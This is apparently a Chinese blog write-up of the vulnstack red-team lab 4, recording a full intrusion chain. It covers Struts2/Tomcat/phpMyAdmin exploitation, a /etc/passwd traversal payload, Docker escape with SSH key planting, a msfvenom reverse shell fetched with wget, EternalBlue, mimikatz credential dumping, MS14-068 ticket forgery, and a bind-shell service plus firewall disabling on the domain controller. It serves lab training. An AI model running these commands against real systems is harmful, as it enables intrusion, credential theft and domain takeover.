渗透靶场--vulnstack-红队评估实战(4)

该博客详细记录了一次红队评估的过程,从信息搜集开始,利用Web服务器上的漏洞(如Struts2、Tomcat等)进行渗透,通过docker逃逸获取宿主机权限,然后在内网中进行横向移动和权限提升。最终,通过mimikatz泄露密码并利用ms14-068进行域权限提升,实现了对域控的完全控制。
摘要由CSDN通过智能技术生成

vulnstack-红队评估实战(4)

环境配置

web服务器
ubuntu:ubuntu
内网192.168.183.131
外网192.168.154.137
web服务需要自己启动分别为s2-045、CVE-2017-12615、cve-2018-12613
sudo su
ubuntu
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
docker-compose up

域成员机器
douser:Dotest123
192.168.183.128

域控
administrator:Test2021(密码过期修改的)
192.168.183.130

kali攻击机
192.168.154.129

image-20210719084121758

1.对web服务器信息搜集

ip进行端口扫描

image-20210719084320568

image-20210719084328098

知道2001,2002,2003分别开放了三个web服务

2001端口

访问通过title可以看出中间件为struts2,工具检测存在s2-045和s2-046

image-20210719084845021

但是s2-045没有成功利用,s2-046成功利用

image-20210719085826030

2002端口

访问知道tomcat 8.5.19,vulmap扫描出目标

image-20210719090144511

成功利用

image-20210719090344211

2003端口

访问是一个phpmyadmin(无需登录),版本 4.8.1 存在一个任意文件包含漏洞

复现:

在index.php后添加?target=db_sql.php%3f/../../../../../../../../etc/passwd

image-20210719101037596

2.进行docker逃逸

概念

严重安全漏洞(CVE-2019-5736),导致18.09.2版本之前的Docker允许恶意容器覆盖宿主机上的runC二进制文件,由此使攻击者能够以root身份在宿主机上执行任意命令。恶意容器需满足以下两个条件之一:

(1)由一个攻击者控制的恶意镜像创建
(2)攻击者具有某已存在容器的写权限,且可通过docker exec进入
docker逃逸在于启动dcoker时加入危险参数--privileged=ture(特权模式),允许容器内的root拥有外部物理机root权限而不是普通权限,本docker容器启动即为特权模式。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,使用特权模式启动容器,可以获取大量设备文件访问权限。此外还可以通过写入计划任务等方式在宿主机执行命令。

利用docker的特权模式来在宿主机硬盘中写入ssh私钥,建立用户实现ssh免密登录宿主机,从而实现对目标宿主机的控制。

实现

1.建立test目录,将/dev/sda1 挂载到test 目录

mkdir /test
mount /dev/sda1 /test
ls -alh /test

可以看到test目录中是目标宿主机的根目录

image-20210719103952039

2.再修改宿主机的.ssh文件来实现密钥登录

本地生成ssh密钥

ssh-keygen -f attack

创建authorized_keys文件,权限为id_rsa.pub的权限

cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys

写入attack.pub文件内容到目标宿主机上的认证文件内(/test/home/ubuntu/.ssh/authorized_keys)

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/HfT/jwc+UQhyKbwbQNLk3FmBr/J0gfXaR4MH5yrWH240EVHw4CSvw8jHqxNVucxiDL5W0+wcEtAlm2EfIhVrYCvug+8Aqr6Y3WnZU72qdAYXSnJQ79nISIEsayWxlEvjuYYlHeTHh+51NalYtpI+NG0gjLOZM3+4eiVmF2ccCLetW7F7OHc6tfVo32wA4aa08L4Tt3Om3ZIbMrBa/2yteNGWis/EAteACaJm3fpV/9HGWPvCnNUeSwQA+HvoEzDJY8D+tWZvAEX9gDBIxgCYP7hmGVC5VSHOC9r5I2ArAcQJs/C9AuYpsZaicx7H6HGH2BWqV/iN4/yJoKxQYkArw6KKJC7Pip2TJ2G+m3sHjYt4UdKbc3iViHGQMT59aZuMaxZoBaZrlyQxYvqEjwTrqA+RfnwCf845BnMpbhGcqUZ9xrMJM0ixgWx/hiGF43g+9hYVaPGz1tc5ItqtIvnBp2sCCMqwtfyJiiJyDdRhDmiqdI+rIIL+xxLUBKh6nLE= root@kali' > /test/home/ubuntu/.ssh/authorized_keys

这里由于echo会将重定向符输出,所以写sh文件wget下载执行

python -m SimpleHTTPServer

检查

cat /test/home/ubuntu/.ssh/authorized_keys

image-20210719134334928

密钥登录

ssh -i attack ubuntu@192.168.154.137

成功获得宿主机权限

image-20210719134412631

3.shell转移metersploit

生成shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.154.129 LPORT=4444 -f elf > shell.elf

监听

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.154.129
run

wget下载执行

wget http://192.168.154.129:8000/shell.elf

image-20210719135138500

4.linux提权

ubuntu,还是CVE-2021-3493提权

image-20210719135617505

5.内网存活主机搜集

挂上代理

添加内网网段

run autoroute -s 192.168.183.0/24

自动添加跳板机上的所有路由

run post/multi/manage/autoroute 

使用模块设置sock服务端

use auxiliary/server/socks_proxy
set srvport 7777 
set version 5

先用msf找到存活主机

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run

结果,发现主机128和130

image-20210719142342567

nmap扫描

proxychains nmap -Pn -sT -sV 192.168.183.128 192.168.183.130 -F

结果,可以看到都开放了445

map scan report for localhost (192.168.183.128)
Host is up (0.096s latency).
Not shown: 90 closed ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: DEMO)
5357/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: TESTWIN7-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for localhost (192.168.183.130)
Host is up (0.99s latency).
Not shown: 91 closed ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-19 06:26:23Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn?
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: demo.com, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: DEMO)
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0

6.横向移动

两个内网ip都开放了445,先尝试ms17_010

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.128 192.168.183.130

image-20210719143219066

都可能可以利用,尝试利用,这里代理使用了chisel,msf的代理一直打不进去

setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.183.128
set payload windows/x64/meterpreter/bind_tcp
set AutoRunScript post/windows/manage/migrate

打了一年128终于进去了

image-20210719155137597

7.内网信息搜集

为了方便接下来的信息收集,我们需要把当前权限降到普通域用户,因为不是域用户的话是没有权限执行域命令的。

getuid    #查看当前token
use incognito #加载incognito
list_tokens -u #列出AccessToken
impersonate_token "DEMO\douser" #模拟DEMO\douser用户
rev2self   #返回到之前的AccessToken权限

开始搜集

net config Workstation   查看计算机名、全名、用户名、系统版本、工作站、域、登录域

net user                 查看本机用户列表
net user /domain         查看域用户
net localgroup administrators   查看本地管理员组(通常会有域用户)


net view /domain         查看有几个域
net group "domain admins" /domain  查看域管理员的名字
net group "domain controllers" /domain  查看域控制器机器名(可能有多台)

搜集到的信息

域控机器名WIN-ENS2VR5TR3N
域控管理用户Administrator
域用户 Administrator            douser                   Guest                    krbtgt                   

ping域控WIN-ENS2VR5TR3N.demo.com得到ip

192.168.183.130

8.域权限提升

这里获得域用户douser的密码有两种方式

  1. ubuntu机器的历史命令histroy

    image-20210719161316985

2.利用mimikatz泄露

load mimikatz
kiwi_cmd  sekurlsa::logonPasswords

image-20210719162004671

然后利用ms14-028进行权限提升

首先切换为douser用户,查看本机用户的id

impersonate_token "DEMO\douser"
whoami /all

得到S-1-5-21-979886063-1111900045-1414766810-1107,利用工具提权

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码

image-20210719185250167

生成TGT票据,然后利用mimikatz注入票据

使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器

mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list          //查看当前机器凭证
mimikatz # kerberos::ptc <生成的票据文件>   //将票据注入到内存中

image-20210719185449193

klist查看是否注入成功

image-20210719185556680

登录域控查看目录

net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$

然后构造一个正向的木马文件(因为是代理进入内网的)同时监听

msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.154.129 lport=5555 -f exe -o bind.exe

setg proxies socks5:127.0.0.1:1080
use exploit/multi/handler 
set payload windows/x64/meterpreter/bind_tcp
set lport 5555
set rhosts 192.168.183.130
set AutoRunScript post/windows/manage/migrate
run

生成后上传到win7,然后通过smb文件共享来讲木马文件复制到域控C盘

upload bind.exe C:\
copy c:\bind.exe \\WIN-ENS2VR5TR3N\c$

利用sc创建服务来执行木马文件

sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell

附:关闭防火墙

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

image-20210720090958362

拿下!

image-20210720091100602

ATT&CK红队评估实战靶场四是一个实战训练场景,其中使用了phpmyadmin来利用数据库日志写入马来获取会话。具体的方法和之前的红日靶场一类似,你可以去查看相关链接了解更多细节。在攻击机要访问52网段的资源时,可以使用session 4作为下一跳进行路由设置。可以通过routeprint命令查看路由表,并使用routeadd命令添加相应的路由。此外,可以通过将SSH公钥添加到/home/ubuntu/.ssh/authorized_keys文件来实现免密登录到目标机器。具体命令是将SSH公钥追加到该文件中。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ATT&CK红队评估(红日靶场四)](https://blog.csdn.net/weixin_45682839/article/details/124485070)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] - *2* [ATT&CK红队评估实战靶场-1(全网最细)](https://blog.csdn.net/qq_40638006/article/details/122033546)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值